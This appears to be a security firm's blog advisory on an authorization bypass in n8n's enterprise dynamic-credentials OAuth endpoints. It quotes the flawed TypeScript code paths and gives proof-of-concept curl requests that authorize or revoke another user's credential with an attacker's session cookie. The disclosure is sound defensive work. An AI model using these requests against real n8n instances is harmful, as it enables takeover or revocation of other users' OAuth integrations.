How Cal.com Rebuilt AppSec After Going Closed Source
How Cal.com consolidated noisy security tooling into one continuous, context-aware pull request security program with Gecko.
Gecko Security
The enterprise dynamic-credentials OAuth endpoints allow any authenticated n8n user to operate on another user’s OAuth credential by supplying its ID. The controller loads credentials through an unscoped lookup and never verifies that the caller has permission on the target credential.
This affects the authorize and revoke endpoints used by the dynamic-credentials feature. A low-privilege authenticated user can initiate or revoke OAuth binding flows for credentials they do not own, enabling unauthorized OAuth rebinding, token revocation, and persistent takeover of shared integrations.
This issue affects enterprise instances with the dynamic credentials feature enabled.
The vulnerability spans the dynamic-credentials controller, its middleware, and the OAuth callback handler.
1. Entry Point - dynamic-credentials.controller.ts: The findCredentialToUse() helper resolves the credential solely by attacker-controlled credentialId with no ownership check:
<code class="hljs language-typescript"><span class="hljs-keyword">private</span> <span class="hljs-keyword">async</span> <span class="hljs-title function_">findCredentialToUse</span>(<span class="hljs-attr">credentialId</span>: <span class="hljs-built_in">string</span>): <span class="hljs-title class_">Promise</span><<span class="hljs-title class_">CredentialsEntity</span>> {
<span class="hljs-keyword">const</span> credential = <span class="hljs-keyword">await</span> <span class="hljs-variable language_">this</span>.<span class="hljs-property">enterpriseCredentialsService</span>.<span class="hljs-title function_">getOne</span>(credentialId);
...
<span class="hljs-keyword">return</span> credential;
}
</code>2. Middleware Bypass - dynamic-credential.service.ts: The authentication middleware explicitly short-circuits the static-token gate for any request that already has req.user, meaning any authenticated session passes through without credential-level authorization:
<code class="hljs language-typescript"><span class="hljs-keyword">if</span> (req.<span class="hljs-property">user</span>) {
<span class="hljs-keyword">return</span> <span class="hljs-title function_">next</span>();
}
</code>3. Unscoped Lookup - credentials.service.ee.ts: EnterpriseCredentialsService.getOne() performs a raw ID lookup without user-aware access checks:
<code class="hljs language-typescript"><span class="hljs-keyword">async</span> <span class="hljs-title function_">getOne</span>(<span class="hljs-params"><span class="hljs-attr">credentialId</span>: <span class="hljs-built_in">string</span></span>) {
<span class="hljs-keyword">return</span> <span class="hljs-keyword">await</span> <span class="hljs-variable language_">this</span>.<span class="hljs-property">credentialsRepository</span>.<span class="hljs-title function_">findOneByOrFail</span>({ <span class="hljs-attr">id</span>: credentialId });
}
</code>This bypasses the normal user-scoped credential access checks used elsewhere in n8n.
4. Callback Trust Break - oauth.service.ts: The OAuth callback handler skips user validation entirely for dynamic-credential flows:
<code class="hljs language-typescript"><span class="hljs-keyword">if</span> (decryptedState.<span class="hljs-property">origin</span> === <span class="hljs-string">'dynamic-credential'</span>) {
<span class="hljs-keyword">return</span> {
...decoded,
...decryptedState,
};
}
</code>resolveCredential() subsequently loads the credential through getCredentialWithoutUser(state.cid), preserving the authorization gap through the full OAuth lifecycle.
owner, who owns an OAuth credential (e.g. Google Sheets OAuth2)attacker, a low-privilege authenticated userattacker, call the dynamic authorize endpoint against the owner’s credential ID:<code class="hljs language-bash">curl -i -X POST \
<span class="hljs-string">'https://<tenant>.app.n8n.cloud/rest/credentials/<owner-credential-id>/authorize?resolverId=<resolver-id>&authSource=cookie'</span> \
-H <span class="hljs-string">'Cookie: n8n-auth=<attacker-session-cookie>'</span>
</code>403 Forbidden or 404 Not Found<code class="hljs language-bash">curl -i -X POST \
<span class="hljs-string">'https://<tenant>.app.n8n.cloud/rest/credentials/<owner-credential-id>/revoke?resolverId=<resolver-id>&authSource=cookie'</span> \
-H <span class="hljs-string">'Cookie: n8n-auth=<attacker-session-cookie>'</span>
</code>The attacker can complete the OAuth flow to rebind the credential to their own external account, or revoke it to disrupt workflows depending on it.
This is a cross-user authorization bypass in an enterprise credential-management feature. Any authenticated user who can reach the dynamic-credentials endpoints can operate on OAuth credentials they do not own if they know the credential ID and a valid resolver ID.
Depending on the credential type and resolver flow, exploitation enables:
Exploitability conditions:
n8n (verified in: 2.14.0) CWE-639: Authorization Bypass Through User-Controlled Key CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N

Artemiy Malyshau
Co-founder & CTO
Artemiy served in an elite unit of the Austrian Cyber Forces, defending national infrastructure He was then the first employee at a government-backed cybersecurity research group, where he led security projects for Interpol and national governments. At Gecko he builds the platform trusted to sit inside Fortune 500 codebases, and holds it to the standard those governments taught him.
The latest news, technologies, and resources from our team.
How Cal.com consolidated noisy security tooling into one continuous, context-aware pull request security program with Gecko.
Gecko Security
An IDOR vulnerability in n8n’s public variables API allows authenticated users to read project variables outside their authorized scope, exposing secrets across project boundaries.
Artemiy Malyshau
Learn API scanning for automated security testing. Find vulnerabilities from broken authentication to business logic flaws in your endpoints.
Artemiy Malyshau
A complete guide to automated pentest tools and best practices. Learn what works, what doesn’t, and how to implement continuous security testing.
Artemiy Malyshau
Compare the best AI-powered application security testing tools. Find which tools detect business logic flaws and broken access control.
Artemiy Malyshau
Compare the 14 best AI security tools. Features, pricing, and detailed comparisons to find vulnerabilities in code and secure AI systems.
Artemiy Malyshau
Occasional updates, new content, and insights. No spam; unsubscribe anytime.